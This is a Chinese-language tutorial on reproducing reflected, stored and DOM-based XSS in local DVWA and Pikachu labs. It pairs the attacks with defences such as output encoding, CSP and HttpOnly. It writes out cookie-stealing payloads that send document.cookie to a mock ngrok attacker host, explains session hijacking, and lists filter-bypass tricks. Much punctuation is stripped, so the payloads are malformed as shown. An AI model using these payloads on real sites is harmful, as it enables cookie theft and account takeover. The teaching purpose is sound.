XSS攻击实战:从反射型到DOM型,手把手复现Cookie窃取与会话劫持

XSS攻击实战:从反射型到DOM型,手把手复现Cookie窃取与会话劫持 1. 项目概述为什么XSS依然是Web安全的“头号公敌”干了这么多年安全测试和渗透我始终觉得跨站脚本攻击XSS是Web安全领域最“经典”也最容易被低估的漏洞。很多刚入门的朋友一提到XSS脑子里可能就剩下一个“弹个窗”觉得这玩意儿没啥危害顶多算个恶作剧。但实际情况是一个看似无害的弹窗背后往往隐藏着一条完整的攻击链从简单的页面篡改到悄无声息地偷走你的登录凭证Cookie再到以你的身份执行任意操作危害等级天差地别。今天我就以一个老鸟的视角带大家亲手复现三种最具代表性的XSS攻击场景反射型、存储型和DOM型。我们不只满足于“弹个窗”而是要一步步深入看看攻击者是如何利用这些漏洞把“弹窗”变成“后门”最终实现Cookie窃取和会话劫持的。无论你是想入门Web安全的学生、需要提升防御意识的开发者还是对渗透测试感兴趣的安全爱好者这篇手把手的实战指南都能让你对XSS有一个透彻的理解。2. 环境准备与靶场搭建打造你的专属“攻防实验室”动手之前得先把“战场”准备好。直接在现网系统上测试漏洞是绝对违法的我们必须在一个完全受控的本地环境里进行。这里我推荐两个非常适合新手的靶场一个是经典的DVWA另一个是专门为Web漏洞设计的Pikachu。它们都集成了多种漏洞场景并且可以自由调节安全等级非常适合学习和复现。2.1 靶场选择与部署DVWA功能全面但配置稍微繁琐一点需要本地有PHP和MySQL环境。如果你图省事可以直接用XAMPP或PHPStudy这类集成环境一键安装。部署好后访问http://localhost/DVWA默认登录账号是admin密码是password。首次使用记得点击页面下方的Create / Reset Database按钮来初始化数据库。注意务必在虚拟机或纯本地环境搭建靶场切勿部署在公网可访问的服务器上即使设置了密码也有被扫描攻击的风险。我的习惯是在VirtualBox里装一个纯净的Linux或Windows虚拟机来做所有测试测试完直接恢复快照干净又安全。Pikachu靶场对新手更友好解压后放到Web服务器目录下就能直接运行很多漏洞点都有直观的提示。我们今天演示的三种场景在这两个靶场里都能找到对应的模块。2.2 核心工具浏览器的开发者工具别小看浏览器自带的开发者工具按F12打开它是我们分析XSS的“显微镜”。主要用到两个面板Console控制台当我们的XSS载荷执行时任何通过console.log()输出的信息或者JavaScript报错都会在这里显示。这是调试Payload的利器。Network网络当Payload尝试向攻击者的服务器发送窃取到的数据如Cookie时所有的HTTP请求都会在这个面板留下记录。我们可以清晰地看到数据是否成功外传以及是以什么方式传出的。2.3 攻击者服务器模拟为了真实复现“Cookie窃取”场景我们需要模拟一个攻击者用来接收数据的服务器。最简单的方法是使用ngrok或localtunnel这样的内网穿透工具将本地一个端口临时暴露到公网获得一个临时的HTTPS域名。然后在本机用Python快速启一个HTTP服务来接收数据。# 首先安装ngrok需注册账号获取authtoken # 然后启动一个本地服务比如在3000端口 python3 -m http.server 3000 # 在另一个终端使用ngrok将3000端口暴露到公网 ngrok http 3000执行后ngrok会给你一个类似https://abc123.ngrok.io的随机域名。任何发送到这个域名的请求都会被转发到你本机的3000端口。这样我们就有了一个“攻击者服务器”来接收被盗的Cookie。3. 反射型XSS实战一次点击带来的陷阱反射型XSS也叫非持久型XSS是最常见的一种。它的特点是恶意脚本“镶嵌”在URL里只有当用户点击了这个精心构造的链接时攻击才会发生。常见于搜索框、错误信息页面等将用户输入直接回显的地方。3.1 漏洞原理与注入点寻找它的攻击流程可以概括为攻击者构造含恶意代码的URL - 诱骗用户点击 - 用户浏览器访问该URL - 服务器将恶意代码作为响应的一部分返回 - 用户浏览器执行该恶意代码。在DVWA中将安全级别设为Low然后进入Reflected XSS模块。你会看到一个简单的输入框。尝试输入test提交观察URL和页面变化。你会发现你输入的内容test被原封不动地显示在了页面上。这里就是潜在的注入点。3.2 构造与测试基础Payload我们的目标是让页面执行JavaScript。最基础的测试Payload是scriptalert(XSS)/script将其输入并提交如果成功你会看到一个弹窗。这个弹窗证明了该点存在XSS漏洞且浏览器没有过滤script标签。但实战中攻击者不会只满足于弹窗。他们会尝试更隐蔽、功能更强的Payload。例如探测更多信息scriptconsole.log(document.domain); console.log(navigator.userAgent)/script这个脚本不会产生弹窗但会在控制台输出当前页面的域名和用户的浏览器信息非常隐蔽。3.3 升级攻击窃取用户Cookie现在我们来构造真正具有危害的Payload——窃取当前用户的Cookie并发送到我们模拟的攻击者服务器。假设我们的攻击服务器地址是https://abc123.ngrok.io。构造如下Payloadscript var img new Image(); img.src https://abc123.ngrok.io/steal?cookie encodeURIComponent(document.cookie); /script这段代码的原理是创建一个隐藏的Image对象将其src属性指向攻击者的服务器并将document.cookie作为URL参数附加上去。浏览器在加载这个图片时会自动发起一个GET请求到攻击者服务器从而将Cookie偷走。由于图片加载失败是常事这个请求非常隐蔽。在DVWA的输入框提交这个Payload后页面看似没什么变化。但立刻去查看我们本地运行的Python服务器日志或者ngrok的请求面板你应该能看到一条访问记录里面就包含了DVWA当前的会话Cookie如PHPSESSIDxxxxxx。实操心得在实际渗透测试中反射型XSS的利用难点在于“诱骗点击”。攻击者往往需要结合社工手段比如将恶意链接缩短、伪装成正常链接在钓鱼邮件或论坛中散布。对于防御方来说任何将用户输入直接输出到页面的地方都必须进行严格的过滤或转义。4. 存储型XSS实战潜伏在页面中的“永驻木马”存储型XSS的危害性比反射型大得多因为它具有持久性。恶意脚本被保存到服务器端如数据库、文件系统所有后续访问该页面的用户都会中招无需再次诱导点击。常见于论坛评论、用户昵称、留言板等场景。4.1 漏洞原理与持久化特性在DVWA中将安全级别保持为Low进入Stored XSS模块。这里模拟了一个留言板。攻击流程是攻击者在留言板提交含恶意脚本的留言 - 脚本被保存至服务器数据库 - 任何其他用户浏览该留言板页面 - 恶意脚本从服务器加载到用户浏览器并执行。4.2 构造持久化攻击载荷我们首先测试基础弹窗scriptalert(Stored XSS!)/script在留言框输入并提交后刷新页面你会发现每次加载这个页面弹窗都会出现。这说明恶意代码已经持久化存储了。接下来我们构造一个更自动化的Cookie窃取Payload。为了让攻击更隐蔽我们可以使用更简短的写法并考虑页面可能存在的字符限制scriptnew Image().src//abc123.ngrok.io/c?document.cookie;/script提交这段代码后任何登录状态下访问此留言板的用户其Cookie都会在后台悄无声息地被发送到攻击者的服务器。4.3 高级利用会话劫持与“水坑攻击”攻击者拿到Cookie后能做什么最直接的就是会话劫持。以DVWA为例攻击者拿到你的PHPSESSID后可以在自己的浏览器中打开开发者工具F12。进入Application应用或Storage存储标签页找到Cookies。将目标网站http://localhost的PHPSESSID值修改为窃取到的值。刷新页面攻击者就可能直接以你的身份登录系统了。存储型XSS的可怕之处在于它构成了“水坑攻击”。攻击者无需针对特定目标只需要将恶意代码植入一个热门站点的公共页面如论坛热帖、文章评论区就可以坐等大量用户“踩坑”。防御这种漏洞要求后端对所有用户提交并即将展示的数据进行输出编码将,,,,等危险字符转换为HTML实体如转成lt;。5. DOM型XSS实战不经过服务器的“客户端漏洞”DOM型XSS是一种比较特殊的类型它的恶意代码执行完全发生在客户端浏览器不涉及与服务器的交互。漏洞源于前端JavaScript代码不安全地操作了DOM文档对象模型将用户可控的数据当成了可执行的代码。5.1 漏洞原理与源代码审计在DVWA的DOM XSS模块Low安全级别页面提供了一个下拉选择框。但攻击往往不局限于预设选项。我们按F12查看页面源代码会发现一段关键的JavaScript代码if (document.location.href.indexOf(\default\) 0) { var lang document.location.href.substring(document.location.href.indexOf(\default\)8); document.write(\option value\ lang \\ decodeURI(lang) \/option\); document.write(\option value disableddisabled----/option\); }这段代码的逻辑是检查当前URL中是否包含default参数。如果有就提取后面的值然后通过document.write()动态写入一个option标签。问题就在于它直接将URL参数lang的值未经任何过滤就拼接进了HTML字符串中。5.2 构造基于DOM的利用链我们不再通过表单提交而是直接修改浏览器地址栏的URL。假设原始URL是http://localhost/DVWA/vulnerabilities/xss_d/?defaultEnglish我们将其修改为http://localhost/DVWA/vulnerabilities/xss_d/?default/option/selectscriptalert(DOM XSS)/script当浏览器加载这个URL时JavaScript代码会提取default后面的值即/option/selectscriptalert(DOM XSS)/script并将其拼接到document.write的字符串里。最终写入的HTML会提前闭合/option和/select标签然后插入我们自己的script标签导致脚本执行。5.3 利用DOM漏洞窃取Cookie同理我们可以构造窃取Cookie的Payloadhttp://localhost/DVWA/vulnerabilities/xss_d/?default/option/selectscriptnew Image().srchttps://abc123.ngrok.io/dom?cdocument.cookie;/script访问这个链接Cookie就会被窃取。DOM型XSS的检测和防御更困难因为它不经过服务器传统的WAFWeb应用防火墙和服务器端过滤可能失效。防御的关键在于前端JavaScript在将任何用户可控数据如URL片段location.hash、document.referrer、表单输入值插入到DOM中时必须使用安全的API比如textContent或setAttribute而不是innerHTML、outerHTML或document.write。排查技巧在审计前端代码时要重点关注这些“危险的汇点”innerHTML、outerHTML、document.write()、eval()、setTimeout()/setInterval()中第一个参数是字符串、location相关属性的直接拼接。凡是看到这些地方使用了来自window.location、document.referrer或用户输入的数据就要打起十二分精神。6. 防御策略深度剖析从输入到输出的全方位防护复现攻击是为了更好地防御。一个健壮的XSS防护体系应该是多层次、纵深式的。6.1 输入验证与过滤第一道闸门原则对用户输入进行严格的“白名单”验证只接受符合预期格式的数据。长度限制对用户名、邮箱、留言内容等设置合理的长度上限。格式校验使用正则表达式严格校验数据类型如邮箱格式、电话号码格式。字符过滤对于富文本等需要HTML的场景使用成熟的库如DOMPurify、js-xss进行过滤只允许安全的标签和属性通过。注意不要使用黑名单过滤攻击者的绕过技巧层出不穷如编码、大小写混淆、嵌套标签黑名单永远防不住。白名单才是正道。6.2 输出编码最关键的安全转义原则根据数据最终输出的上下文进行相应的编码。HTML上下文将,,,,分别转换为lt;,gt;,amp;,quot;,#x27;。几乎所有后端模板引擎如Thymeleaf、React、Vue都默认提供了HTML转义。JavaScript上下文将数据放入JavaScript变量或脚本时需进行Unicode转义或使用JSON.stringify()。URL上下文作为URL参数时使用encodeURIComponent()进行编码。CSS上下文极少见但也要注意需进行特定的CSS编码。6.3 内容安全策略最后的浏览器防线CSP是一个强大的浏览器安全特性它通过HTTP头告诉浏览器哪些外部资源脚本、样式、图片、字体等是允许加载和执行的。一个严格的CSP可以极大程度地缓解XSS。Content-Security-Policy: default-src self; script-src self https://trusted.cdn.com; object-src none;这个策略表示默认只允许加载同源资源脚本只允许来自同源和https://trusted.cdn.com完全禁止object等插件。即使页面被注入了恶意脚本如果脚本来源不在白名单内浏览器也会拒绝执行。6.4 安全的Cookie设置为敏感Cookie设置HttpOnly和Secure属性。HttpOnly禁止JavaScript通过document.cookieAPI访问此Cookie能有效防御单纯的Cookie窃取型XSS。Secure要求Cookie仅通过HTTPS协议传输。SameSite设置为Strict或Lax可以阻止跨站请求伪造攻击对某些类型的XSS利用也有抑制作用。7. 高级利用与绕过技巧实录在实际的渗透测试或漏洞挖掘中网站往往部署了基础的防护措施。这时就需要一些技巧来绕过。7.1 常见过滤绕过手法大小写绕过如果过滤规则是大小写敏感的可以尝试ScRiPt。标签属性绕过利用其他能执行JavaScript的HTML标签或事件处理器。img srcx onerroralert(1)图片加载失败时触发onerror事件。svg onloadalert(1)SVG标签加载时触发onload事件。body onloadalert(1)或利用其他标签的onmouseover,onfocus等事件。编码绕过HTML实体编码和被过滤时尝试输入lt;scriptgt;alert(1)lt;/scriptgt;如果后端解码了但未二次过滤可能成功。URL编码scriptalert(1)/script可以编码为%3Cscript%3Ealert%281%29%3C%2Fscript%3E。Unicode编码可以表示为\u003c。空格和换行符绕过某些过滤器可能对空格敏感可以用Tab(%09)、换行(%0a)或回车(%0d)代替。img%0asrcx%0aonerroralert(1)7.2 利用JavaScript伪协议在可以注入URL的地方比如a href\...\可以利用javascript:伪协议。a href\javascript:alert(document.cookie)\点击领奖/a或者作为图片地址img src\javascript:alert(1)\ !-- 现代浏览器已普遍禁用 --7.3 闭合与拼接技巧这是DOM型XSS和某些反射型XSS的常用手法通过闭合现有的HTML标签或JavaScript字符串来插入新的恶意代码。// 假设原代码是var userInput [可控点]; // 我们输入; alert(1); // // 最终变成var userInput ; alert(1); //; // 这样就注入了一段新的JS语句。7.4 实战中的信息收集Payload在确认存在XSS但不确定过滤规则时可以先使用一些无害的信息收集Payload来探测环境scriptalert(window.location.href); alert(document.domain);/script img srcx onerror\console.log(navigator.userAgent)\这些Payload能帮你了解当前页面的完整URL、域名和用户浏览器信息为构造最终的利用Payload提供依据。防御是一个持续的过程而攻击者的思路总是在不断进化。作为开发者必须时刻保持安全意识将安全编码规范融入开发流程的每一个环节作为安全人员则需要不断学习新的攻击手法才能更好地进行防御和测试。理解XSS不仅是理解几行代码更是理解浏览器、服务器和用户三者之间复杂的信任边界是如何被打破和重建的。